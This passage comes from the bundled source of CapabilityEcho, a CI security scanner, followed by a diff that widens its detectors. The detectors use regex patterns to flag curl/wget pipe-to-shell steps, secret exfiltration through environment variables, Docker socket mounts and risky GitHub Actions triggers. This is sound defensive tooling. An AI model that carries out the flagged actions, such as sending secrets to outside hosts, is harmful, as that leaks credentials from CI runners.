Object.entries(t)){if((0,s.Kr)(e)&&hasPullRequestTargetWorkflow(n)){i.add(e)}}for(const t of e){if(!(0,s.Kr)(t.file)){continue}n.push(...detectPullRequestTarget(t));n.push(...detectPullRequestHeadCheckoutOnTarget(t,i.has(t.file)));n.push(...detectSelfHostedRunner(t));n.push(...detectMutableActionRef(t));n.push(...detectWritePermissions(t));n.push(...detectExternalCurl(t));n.push(...detectSecretsInherit(t));n.push(...workflow_permissions_detectSecretExfil(t,r.get(t.file)??new Set));n.push(...detectDockerHostControl(t))}return n}function collectSecretEnvVars(e,t){const n=new Map;for(const t of e){if(!(0,s.Kr)(t.file)){continue}addSecretEnvVar(n,t.file,t.content)}for(const[e,i]of Object.entries(t)){if(!(0,s.Kr)(e)){continue}for(const t of i.split(/\r?\n/)){addSecretEnvVar(n,e,t)}}return n}function addSecretEnvVar(e,t,n){const i=n.match(/^\s*([A-Z_][A-Z0-9_]*)\s*:\s*.*\$\{\{\s*secrets\./i);if(!i){return}const s=e.get(t)??new Set;s.add(i[1]);e.set(t,s)}function detectWritePermissions(e){const t=e.content;if(!/permissions\s*:/i.test(t)&&!T.test(t)){return[]}if(T.test(t)){return[{kind:"capability_echo.workflow_permission_write",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions write permission",message:"Workflow grants repository or package write permissions.",recommendation:"Use the narrowest permission scope required for this job."}]}if(/^\s*permissions\s*:\s*(?:write|write-all|admin)\b/i.test(t)){return[{kind:"capability_echo.workflow_permission_write",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions broad write permission",message:"Workflow grants broad write or admin permissions.",recommendation:"Prefer explicit per-resource permissions instead of top-level write/admin."}]}return[]}function detectPullRequestTarget(e){if(!isPullRequestTargetLine(e.content)){return[]}return[{kind:"capability_echo.workflow_pull_request_target",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions pull_request_target trigger",message:"Workflow runs on pull_request_target, which can expose elevated token or secret context to PR-triggered automation.",recommendation:"Use pull_request unless elevated base-repository context is required; never run untrusted PR code with pull_request_target privileges."}]}function detectPullRequestHeadCheckoutOnTarget(e,t){if(!t||!referencesPullRequestHead(e.content)){return[]}return[{kind:"capability_echo.workflow_pr_head_checkout_on_target",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions PR-head reference under pull_request_target",message:"Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.",recommendation:"Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target."}]}function isPullRequestTargetLine(e){return/^\s*pull_request_target\s*:/i.test(e)}function hasPullRequestTargetWorkflow(e){return e.split(/\r?\n/).some(isPullRequestTargetLine)}function referencesPullRequestHead(e){return/github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(e)}function detectSelfHostedRunner(e){if(!/^\s*runs-on\s*:\s*(?:.*\bself-hosted\b|.*\[\s*self-hosted\b)/i.test(e.content)&&!/^\s*-\s*self-hosted\s*(?:#.*)?$/i.test(e.content)){return[]}return[{kind:"capability_echo.workflow_self_hosted_runner",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions self-hosted runner",message:"Workflow runs on a self-hosted runner, which can expand PR-triggered automation into private infrastructure.",recommendation:"Use GitHub-hosted runners for untrusted PR code, or isolate self-hosted runners with strict labels, permissions, and cleanup."}]}function detectMutableActionRef(e){const t=extractWorkflowUsesRef(e.content);if(!t||isLocalActionRef(t)||/^docker:\/\//i.test(t)){return[]}const n=t.lastIndexOf("@");if(n===-1){return[]}const i=t.slice(n+1);if(!isMutableActionVersionRef(i)){return[]}return[{kind:"capability_echo.workflow_mutable_action_ref",surface:"workflow",severity:"medium",file:e.file,line:e.line,subject:"GitHub Actions mutable action reference",message:"Workflow uses a mutable remote action reference.",recommendation:"Pin third-party actions to a reviewed commit SHA before merge."}]}function extractWorkflowUsesRef(e){return e.match(/^\s*(?:-\s*)?uses\s*:\s*['"]?([^'"\s#]+)['"]?/i)?.[1]}function isLocalActionRef(e){return e.startsWith("./")||e.startsWith("../")||e.startsWith("/")}function isMutableActionVersionRef(e){return/^(main|master|trunk|develop|dev|latest|head)$/i.test(e)}function detectExternalCurl(e){if(!/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(e.content)){return[]}if(!referencesExternalUrlOrVariable(e.content)){return[]}return[{kind:"capability_echo.workflow_external_curl",surface:"workflow",severity:"medium",file:e.file,line:e.line,subject:"Workflow external request",message:"Workflow step performs an external network request.",recommendation:"Verify the URL, payload, and whether the request is necessary in CI."}]}function referencesExternalUrlOrVariable(e){const t=e.match(/https?:\/\/[^\s'"`)]+/gi)??[];for(const e of t){if(!isLocalUrl(e)){return true}}if(t.length===0&&/\$\{?\w|\$\{\{/.test(e)){return true}return false}function isLocalUrl(e){return/^https?:\/\/(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])(?::\d+)?(?:[/?#]|$)/i.test(e)}function detectSecretsInherit(e){if(!/^\s*secrets\s*:\s*inherit\s*(?:#.*)?$/i.test(e.content)){return[]}return[{kind:"capability_echo.workflow_secrets_inherit",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions inherited secrets",message:"Workflow passes all caller secrets to a reusable workflow.",recommendation:"Pass only explicit secrets required by the reusable workflow."}]}function workflow_permissions_detectSecretExfil(e,t){const n=e.content;const i=/\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(n)||[...t].some((e=>referencesShellVariable(n,e)));const s=/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(n);const r=/\|\s*(bash|sh|powershell|pwsh)/i.test(n);if(!i||!s){return[]}return[{kind:"capability_echo.workflow_secret_exfil_pattern",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"Workflow secret exfiltration pattern",message:"Workflow step references secrets or env values alongside an external request or shell pipe.",recommendation:"Review whether secrets could leave the runner through this step."}]}function referencesShellVariable(e,t){const n=workflow_permissions_escapeRegExp(t);return new RegExp(String.raw`(?:\$\{${n}\}|\$${n}\b|%${n}%)`).test(e)}function workflow_permissions_escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function detectDockerHostControl(e){const t=[];const n=e.content;if(/\/var\/run\/docker\.sock(?::\/var\/run\/docker\.sock)?/i.test(n)){t.push({kind:"capability_echo.workflow_docker_socket_mount",surface:"workflow",severity:"critical",file:e.file,line:e.line,subject:"Workflow Docker socket mount",message:"Workflow mounts the host Docker socket, which can grant control over the runner host.",recommendation:"Avoid Docker socket mounts in CI unless the job is isolated and the image/commands are trusted."})}if(/\bdocker\s+run\b.*\s--privileged(?:\s|$)/i.test(n)){t.push({kind:"capability_echo.workflow_privileged_container",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"Workflow privileged container",message:"Workflow runs a privileged container, expanding kernel and device-level access in CI.",recommendation:"Use the narrowest container privileges required, and avoid privileged mode for agent-run code."})}return t}var j=i(665);async function runCapabilityDiff(e){const t=e.mode==="directories"?await(0,x.BH)(e.oldRoot,e.newRoot):await(0,x._u)(e.repo,e.base,e.head);const n=e.mode==="directories"?{mode:"directories",oldRoot:e.oldRoot,newRoot:e.newRoot}:{mode:"git",repo:e.repo,base:e.base,head:e.head};const[i,s]=await Promise.all([detectPackageScripts(n),detectPackageDeps(n)]);const r=[...detectWorkflowPermissions(t.addedLines,t.newFileContents),...detectDockerfileCapability(t.addedLines),...detectJsCapability(t.addedLines,t.newFileContents),...detectPyCapability(t.addedLines,t.newFileContents),...detectShellCapability(t.addedLines),...i,...s];return(0,j.LU)(r,t)}},924:(t,n,i)=>{i.d(n,{rd:()=>GitDiffSetupError,BH:()=>collectDirectoryDiff,_u:()=>collectGitDiff,Eh:()=>listGitChangedFiles,kf:()=>listPackageJsonFiles,p9:()=>readFileAtGitRef});const s=e(import.meta.url)("node:child_process");var r=i(455);var o=i(760);const a=e(import.meta.url)("node:util");var c=i(431);const l=(0,a.promisify)(s.execFile);const u=["source","package","workflow","container"];class GitDiffSetupError extends Error{base;head;constructor(e,t,n){super(e);this.base=t;this.head=n;this.name="GitDiffSetupError"}}async function collectDirectoryDiff(e,t){const n=await listScannableFiles(t);const i=[];const s=new Set;const a={};for(const c of n){const n=(0,o.join)(e,c);const l=(0,o.join)(t,c);const u=await(0,r.readFile)(l,"utf8");const f=await runGitNoIndexDiff(n,l);if(f.trim()){s.add(c);a[c]=u;i.push(...parseUnifiedDiff(f,c));continue}let p="";try{p=await(0,r.readFile)(n,"utf8")}catch{p=""}if(p===u){continue}s.add(c);a[c]=u;if(!p){i.push(...allLinesAsAdded(c,u))}}return{addedLines:i,changedFileCount:s.size,scannedSurfaces:surfacesForFiles([...s]),newFileContents:a}}async function collectGitDiff(e,t,n){const i=await gitRefExists(e,t);const s=await gitRefExists(e,n);if(!i||!s){throw new GitDiffSetupError(`CapabilityEcho could not compare base '${t}' and head '${n}'.`,t,n)}const r=await listGitChangedFiles(e,t,n);const o=r.filter(c.Iy);if(o.length===0){return{addedLines:[],changedFileCount:0,scannedSurfaces:[],newFileContents:{}}}const{stdout:a}=await l("git",["-C",e,"diff","-U0",`${t}..${n}`,"--",...o],{encoding:"utf8",maxBuffer:20*1024*1024});const u=await readChangedFilesAtRef(e,n,o);return{addedLines:parseUnifiedDiff(a).map((e=>({...e,file:normalizeGitDiffPath(e.file)}))),changedFileCount:o.length,scannedSurfaces:surfacesForFiles(o),newFileContents:u}}function parseUnifiedDiff(e,t){const n=[];let i="";let s=0;for(const r of e.split(/\r?\n/)){if(r.startsWith("+++ ")){const e=r.slice(4).trim();if(e.startsWith("b/")){i=e.slice(2)}else if(e==="/dev/null"){i=""}else{i=e}continue}if(r.startsWith("@@")){const e=r.match(/\+(\d+)(?:,(\d+))?/);s=e?Number.parseInt(e[1],10):0;continue}if(!i||i==="/dev/null"){continue}if(r.startsWith("+")&&!r.startsWith("+++")){n.push({file:(t??normalizeGitDiffPath(i)).replace(/\\/g,"/"),line:s,content:r.slice(1)});s+=1;continue}if(r.startsWith("-")&&!r.startsWith("---")){continue}if(r.startsWith(" ")||r.startsWith("\\")){s+=1}}return n}async function listScannableFiles(e,t=""){const n=await(0,r.readdir)((0,o.join)(e,t),{withFileTypes:true});const i=[];for(const s of n){if(s.name==="node_modules"||s.name===".git"){continue}const n=t?`${t}/${s.name}`:s.name;if(s.isDirectory()){i.push(...await listScannableFiles(e,n));continue}if((0,c.Iy)(n)){i.push(n.replace(/\\/g,"/"))}}return i}async function listGitChangedFiles(e,t,n){const{stdout:i}=await l("git",["-C",e,"diff","--name-only",`${t}..${n}`],{encoding:"utf8",maxBuffer:10*1024*1024});return i.split(/\r?\n/).map((e=>e.trim())).filter(Boolean).map((e=>e.replace(/\\/g,"/")))}async function runGitNoIndexDiff(e,t){try{const{stdout:n}=await l("git",["diff","--no-index","-U0",e,t],{encoding:"utf8",maxBuffer:10*1024*1024});return n}catch(e){if(isExecError(e)&&typeof e.stdout==="string"){return e.stdout}return""}}function allLinesAsAdded(e,t){const n=t.split(/\r?\n/);return n.map(((t,n)=>({file:e.replace(/\\/g,"/"),line:n+1,content:t})))}async function gitRefExists(e,t){try{await l("git",["-C",e,"rev-parse","--verify",`${t}^{commit}`]);return true}catch(e){if(isExecError(e)){return false}throw e}}function surfacesForFiles(e){const t=new Set;for(const n of e){const e=(0,c.qk)(n);if(e){t.add(e)}}return u.filter((e=>t.has(e)))}function isExecError(e){return e instanceof Error&&"code"in e}function normalizeGitDiffPath(e){return e.replace(/\\/g,"/").replace(/^[a-z]:\//i,"").replace(/^b\//,"")}async function readFileAtGitRef(e,t,n){try{const{stdout:i}=await l("git",["-C",e,"show",`${t}:${n}`],{encoding:"utf8",maxBuffer:10*1024*1024});return i}catch(e){if(isExecError(e)){return null}throw e}}async function readChangedFilesAtRef(e,t,n){const i=await Promise.all(n.map((async n=>{const i=await readFileAtGitRef(e,t,n);return i===null?undefined:[n,i]})));return Object.fromEntries(i.filter((e=>e!==undefined)))}async function listPackageJsonFiles(e,t=""){const n=await(0,r.readdir)((0,o.join)(e,t),{withFileTypes:true});const i=[];for(const s of n){if(s.name==="node_modules"||s.name===".git"){continue}const n=t?`${t}/${s.name}`:s.name;if(s.isDirectory()){i.push(...await listPackageJsonFiles(e,n));continue}if(s.name==="package.json"){i.push(n.replace(/\\/g,"/"))}}return i}function relativeFromRoots(e,t){return relative(e,t).replace(/\\/g,"/")}},431:(e,t,n)=>{n.d(t,{Iy:()=>isScannable,Kr:()=>isWorkflowFile,Mn:()=>isJsFile,UD:()=>isPyFile,Z7:()=>isShellFile,hl:()=>isTestFile,pZ:()=>isDockerfile,qk:()=>surfaceForPath,w5:()=>isCommentLine,xr:()=>isPackageJsonFile});const i=new Set([".mcp.json",".cursor/mcp.json",".vscode/mcp.json",".codeium/windsurf/mcp_config.json",".claude/settings.json",".codex/config.toml","AGENTS.md"]);function normalizeRelativePath(e){return e.replace(/\\/g,"/")}function isExcluded(e){const t=normalizeRelativePath(e);if(i.has(t)){return true}return t.startsWith(".cursor/rules/")}function isScannable(e){return surfaceForPath(e)!==undefined}function surfaceForPath(e){const t=normalizeRelativePath(e);if(isExcluded(t)){return undefined}if(t==="package.json"||t.endsWith("/package.json")){return"package"}if(t.startsWith(".github/workflows/")&&/\.(ya?ml)$/i.test(t)){return"workflow"}if(isDockerfile(t)){return"container"}if(isJsFile(t)||isPyFile(t)||isShellFile(t)){return"source"}return undefined}function isTestFile(e){const t=normalizeRelativePath(e);if(t.includes("__tests__/")||t.includes("/tests/")){return true}if(/(^|\/)test_[^/]+\.py$/i.test(t)||/_test\.py$/i.test(t)){return true}return/\.(test|spec)\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(t)}function isCommentLine(e){const t=e.trim();return t.startsWith("//")||t.startsWith("/*")||t.startsWith("*")||t.startsWith("*/")||t.startsWith("#")}function isWorkflowFile(e){const t=normalizeRelativePath(e);return t.startsWith(".github/workflows/")&&/\.(ya?ml)$/i.test(t)}function isPackageJsonFile(e){const t=normalizeRelativePath(e);return t==="package.json"||t.endsWith("/package.json")}function isJsFile(e){const t=normalizeRelativePath(e);return/\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(t)}function isPyFile(e){const t=normalizeRelativePath(e);return/\.(py|pyw)$/i.test(t)}function isShellFile(e){const t=normalizeRelativePath(e);return/\.(sh|bash|zsh|ps1|psm1)$/i.test(t)}function isDockerfile(e){const t=normalizeRelativePath(e);const n=t.split("/").pop()??t;return/^Dockerfile(?:\..+)?$/i.test(n)}},665:(e,t,n)=>{n.d(t,{B1:()=>renderReport,LU:()=>createReport,qs:()=>o});const i=["AI-agent config"];const s=["critical","high","medium","low"];const r={source:"source code",package:"package manifests",workflow:"GitHub workflows",container:"container builds"};const o={none:0,low:1,medium:2,high:3,critical:4};const a={"capability_echo.external_fetch_added":"external network fetch calls","capability_echo.source_secret_exfil_pattern":"source secret exfiltration patterns","capability_echo.subprocess_spawn_added":"subprocess or shell spawn calls","capability_echo.dynamic_eval_added":"dynamic code execution","capability_echo.shell_pipe_to_shell":"shell pipe-to-shell downloads","capability_echo.shell_external_download":"shell external downloads","capability_echo.dockerfile_remote_add":"Dockerfile remote ADD instructions","capability_echo.dockerfile_pipe_to_shell":"Dockerfile pipe-to-shell builds","capability_echo.workflow_permission_write":"GitHub Actions write permissions","capability_echo.workflow_pull_request_target":"GitHub Actions pull_request_target triggers","capability_echo.workflow_pr_head_checkout_on_target":"GitHub Actions PR-head reference under pull_request_target","capability_echo.workflow_self_hosted_runner":"GitHub Actions self-hosted runners","capability_echo.workflow_mutable_action_ref":"GitHub Actions mutable action references","capability_echo.workflow_secrets_inherit":"GitHub Actions inherited secrets","capability_echo.workflow_external_curl":"workflow external network requests","capability_echo.workflow_secret_exfil_pattern":"workflow secret exfiltration patterns","capability_echo.workflow_docker_socket_mount":"workflow Docker socket mounts","capability_echo.workflow_privileged_container":"workflow privileged containers","capability_echo.lifecycle_script_added":"npm lifecycle scripts","capability_echo.script_pipe_to_shell":"pipe-to-shell install scripts","capability_echo.script_network_command":"network or publish npm scripts","capability_echo.high_capability_dep_added":"high-capability dependency additions","capability_echo.telemetry_dep_added":"telemetry dependency additions","capability_echo.unsafe_deserialize_added":"unsafe deserialization"};function createReport(e,t){return{rating:rateFindings(e),findingCount:e.length,changedFileCount:t.changedFileCount,scannedSurfaces:t.scannedSurfaces,excludedSurfaces:[...i],surfaceSummary:buildSurfaceSummary(e),severitySummary:buildSeveritySummary(e),capabilitySummary:buildCapabilitySummary(e),topRecommendations:buildTopRecommendations(e),findings:e}}function renderReport(e,t){if(t==="json"){return`${JSON.stringify(e,null,2)}\n`}if(t==="markdown"){return renderMarkdown(e)}if(t==="github"){return renderGithubAnnotations(e)}return renderText(e)}function buildCapabilitySummary(e){const t=new Set;for(const n of e){t.add(a[n.kind]??n.kind)}return[...t]}function buildTopRecommendations(e){const t=new Set;const n=e.map(((e,t)=>({finding:e,index:t}))).sort(((e,t)=>{const n=o[t.finding.severity]-o[e.finding.severity];return n===0?e.index-t.index:n}));for(const{finding:e}of n){t.add(e.recommendation);if(t.size===3){break}}return[...t]}function rateFindings(e){let t="none";for(const n of e){if(o[n.severity]>o[t]){t=n.severity}}return t}function renderMarkdown(e){const t=[`# CapabilityEcho capability drift: ${e.rating.toUpperCase()}`,""];t.push(`Scanned executable surfaces: ${formatSurfaces(e.scannedSurfaces)}.`);t.push(`Excluded surfaces: ${e.excludedSurfaces.join(", ")}.`,"");if(e.findings.length===0){t.push("No code or workflow capability drift findings.");return`${t.join("\n")}\n`}t.push(`This diff scanned ${e.changedFileCount} changed file${e.changedFileCount===1?"":"s"}.`);t.push(`CapabilityEcho found ${e.findingCount} finding${e.findingCount===1?"":"s"}.`,"");if(e.topRecommendations.length>0){t.push("## Top recommendations","");for(const n of e.topRecommendations){t.push(`- ${n}`)}t.push("")}t.push("## Review summary","");t.push("| Surface | Findings |");t.push("| --- | ---: |");for(const n of["source","package","workflow","container"]){t.push(`| ${r[n]} | ${e.surfaceSummary[n]} |`)}t.push("");t.push("| Severity | Findings |");t.push("| --- | ---: |");for(const n of s){t.push(`| ${capitalize(n)} | ${e.severitySummary[n]} |`)}t.push("");if(e.capabilitySummary.length>0){t.push("## Capability summary","");for(const n of e.capabilitySummary){t.push(`- ${n}`)}t.push("")}for(const n of s){const i=e.findings.filter((e=>e.severity===n));if(i.length===0){continue}t.push(`## ${capitalize(n)}`,"");for(const e of i){t.push(`- **${e.subject}** [${r[e.surface]}] (${e.file}): ${e.message}`);t.push(` Recommendation: ${e.recommendation}`)}t.push("")}return`${t.join("\n").trimEnd()}\n`}function renderText(e){const t=[`CapabilityEcho capability drift: ${e.rating.toUpperCase()}`];t.push(`Scanned executable surfaces: ${formatSurfaces(e.scannedSurfaces)}.`);t.push(`Excluded surfaces: ${e.excludedSurfaces.join(", ")}.`);if(e.capabilitySummary.length>0){t.push(`Signals: ${e.capabilitySummary.join(", ")}`)}if(e.topRecommendations.length>0){t.push(`Top recommendations: ${e.topRecommendations.join(" | ")}`)}for(const n of e.findings){t.push(`[${n.severity.toUpperCase()}] ${n.subject} (${r[n.surface]}): ${n.message}`)}if(e.findings.length===0){t.push("No code or workflow capability drift findings.")}return`${t.join("\n")}\n`}function renderGithubAnnotations(e){if(e.findings.length===0){return""}return e.findings.map((e=>{const t=`CapabilityEcho ${e.severity} ${r[e.surface]} capability drift`;const n=`${e.message} Recommendation: ${e.recommendation}`;const i=[`file=${escapeProperty(e.file)}`];if(e.line&&e.line>0){i.push(`line=${e.line}`)}i.push(`title=${escapeProperty(t)}`);return`::warning ${i.join(",")}::${escapeMessage(n)}`})).join("\n")+"\n"}function escapeMessage(e){return e.replaceAll("%","%25").replaceAll("\r","%0D").replaceAll("\n","%0A")}function escapeProperty(e){return escapeMessage(e).replaceAll(":","%3A").replaceAll(",","%2C")}function capitalize(e){return`${e.slice(0,1).toUpperCase()}${e.slice(1)}`}function buildSurfaceSummary(e){return{source:e.filter((e=>e.surface==="source")).length,package:e.filter((e=>e.surface==="package")).length,workflow:e.filter((e=>e.surface==="workflow")).length,container:e.filter((e=>e.surface==="container")).length}}function buildSeveritySummary(e){return{critical:e.filter((e=>e.severity==="critical")).length,high:e.filter((e=>e.severity==="high")).length,medium:e.filter((e=>e.severity==="medium")).length,low:e.filter((e=>e.severity==="low")).length}}function formatSurfaces(e){if(e.length===0){return"none"}return e.map((e=>r[e])).join(", ")}},455:t=>{t.exports=e(import.meta.url)("node:fs/promises")},760:t=>{t.exports=e(import.meta.url)("node:path")}};var n={};function __nccwpck_require__(e){var i=n[e];if(i!==undefined){return i.exports}var s=n[e]={exports:{}};var r=true;try{t[e](s,s.exports,__nccwpck_require__);r=false}finally{if(r)delete n[e]}return s.exports}(()=>{var e=typeof Symbol==="function"?Symbol("webpack queues"):"__webpack_queues__";var t=typeof Symbol==="function"?Symbol("webpack exports"):"__webpack_exports__";var n=typeof Symbol==="function"?Symbol("webpack error"):"__webpack_error__";var resolveQueue=e=>{if(e&&e.d<1){e.d=1;e.forEach((e=>e.r--));e.forEach((e=>e.r--?e.r++:e()))}};var wrapDeps=i=>i.map((i=>{if(i!==null&&typeof i==="object"){if(i[e])return i;if(i.then){var s=[];s.d=0;i.then((e=>{r[t]=e;resolveQueue(s)}),(e=>{r[n]=e;resolveQueue(s)}));var r={};r[e]=e=>e(s);return r}}var o={};o[e]=e=>{};o[t]=i;return o}));__nccwpck_require__.a=(i,s,r)=>{var o;r&&((o=[]).d=-1);var a=new Set;var c=i.exports;var l;var u;var f;var p=new Promise(((e,t)=>{f=t;u=e}));p[t]=c;p[e]=e=>(o&&e(o),a.forEach(e),p["catch"]((e=>{})));i.exports=p;s((i=>{l=wrapDeps(i);var s;var getResult=()=>l.map((e=>{if(e[n])throw e[n];return e[t]}));var r=new Promise((t=>{s=()=>t(getResult);s.r=0;var fnQueue=e=>e!==o&&!a.has(e)&&(a.add(e),e&&!e.d&&(s.r++,e.push(s)));l.map((t=>t[e](fnQueue)))}));return s.r?r:getResult()}),(e=>(e?f(p[n]=e):u(c),resolveQueue(o))));o&&o.d<0&&(o.d=0)}})();(()=>{__nccwpck_require__.n=e=>{var t=e&&e.__esModule?()=>e["default"]:()=>e;__nccwpck_require__.d(t,{a:t});return t}})();(()=>{__nccwpck_require__.d=(e,t)=>{for(var n in t){if(__nccwpck_require__.o(t,n)&&!__nccwpck_require__.o(e,n)){Object.defineProperty(e,n,{enumerable:true,get:t[n]})}}}})();(()=>{__nccwpck_require__.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t)})();if(typeof __nccwpck_require__!=="undefined")__nccwpck_require__.ab=new URL(".",import.meta.url).pathname.slice(import.meta.url.match(/^file:\/\/\/\w:/)?1:0,-1)+"/";var i=__nccwpck_require__(929);i=await i;var s=i.g;export{s as mainAction}; \ No newline at end of file diff --git a/dist/detectors/js-capability.js b/dist/detectors/js-capability.js index e71ec6a..3b6fe88 100644 --- a/dist/detectors/js-capability.js +++ b/dist/detectors/js-capability.js @@ -33,7 +33,7 @@ function collectSecretVariables(lines, newFileContents) { return varsByFile; } function addSecretVariable(varsByFile, file, content) { - const match = content.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i); + const match = content.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i); if (!match) { return; } @@ -87,7 +87,7 @@ function isExternalHttpRequest(content) { /(?:https?:\/\/|['"]https?:\/\/)/i.test(content)); } function referencesEnvSecret(content) { - return /\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(content); + return /\bprocess\.env(?:\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b|\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\])/i.test(content); } function referencesSecretVariable(content, secretVariables) { return [...secretVariables].some((name) => new RegExp(String.raw `\b${escapeRegExp(name)}\b`).test(content)); diff --git a/dist/detectors/py-capability.js b/dist/detectors/py-capability.js index c00cac4..5a59fc3 100644 --- a/dist/detectors/py-capability.js +++ b/dist/detectors/py-capability.js @@ -39,7 +39,7 @@ function collectSecretVariables(lines, newFileContents) { return varsByFile; } function addSecretVariable(varsByFile, file, content) { - const match = content.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i); + const match = content.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i); if (!match) { return; } @@ -97,8 +97,8 @@ function isPyExternalRequest(content) { /(?:https?:\/\/|['"]https?:\/\/)/i.test(content)); } function referencesPyEnvSecret(content) { - return (/\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) || - /\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content)); + return (/\b(?:os\.)?environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) || + /\b(?:os\.)?getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content)); } function referencesSecretVariable(content, secretVariables) { return [...secretVariables].some((name) => new RegExp(String.raw `\b${escapeRegExp(name)}\b`).test(content)); diff --git a/dist/detectors/workflow-permissions.js b/dist/detectors/workflow-permissions.js index 3436ad4..2a543ac 100644 --- a/dist/detectors/workflow-permissions.js +++ b/dist/detectors/workflow-permissions.js @@ -105,7 +105,7 @@ function detectPullRequestTarget(added) { ]; } function detectPullRequestHeadCheckoutOnTarget(added, hasPullRequestTarget) { - if (!hasPullRequestTarget || !isPullRequestHeadCheckoutLine(added.content)) { + if (!hasPullRequestTarget || !referencesPullRequestHead(added.content)) { return []; } return [ @@ -115,9 +115,9 @@ function detectPullRequestHeadCheckoutOnTarget(added, hasPullRequestTarget) { severity: 'high', file: added.file, line: added.line, - subject: 'GitHub Actions PR-head checkout under pull_request_target', - message: 'Workflow checks out pull request head code in a pull_request_target workflow.', - recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.' + subject: 'GitHub Actions PR-head reference under pull_request_target', + message: 'Workflow under pull_request_target references the pull request head (SHA, ref, or repo), which can let untrusted PR code run with the elevated token context.', + recommendation: 'Use pull_request for untrusted PR code, or avoid referencing PR head SHA/ref/repo under pull_request_target.' } ]; } @@ -127,8 +127,8 @@ function isPullRequestTargetLine(content) { function hasPullRequestTargetWorkflow(content) { return content.split(/\r?\n/).some(isPullRequestTargetLine); } -function isPullRequestHeadCheckoutLine(content) { - return /^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content); +function referencesPullRequestHead(content) { + return /github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(content); } function detectSelfHostedRunner(added) { if (!/^\s*runs-on\s*:\s*(?:.*\bself-hosted\b|.*\[\s*self-hosted\b)/i.test(added.content) && diff --git a/dist/report.js b/dist/report.js index 2847447..4342940 100644 --- a/dist/report.js +++ b/dist/report.js @@ -24,7 +24,7 @@ const SUMMARY_LABELS = { 'capability_echo.dockerfile_pipe_to_shell': 'Dockerfile pipe-to-shell builds', 'capability_echo.workflow_permission_write': 'GitHub Actions write permissions', 'capability_echo.workflow_pull_request_target': 'GitHub Actions pull_request_target triggers', - 'capability_echo.workflow_pr_head_checkout_on_target': 'GitHub Actions 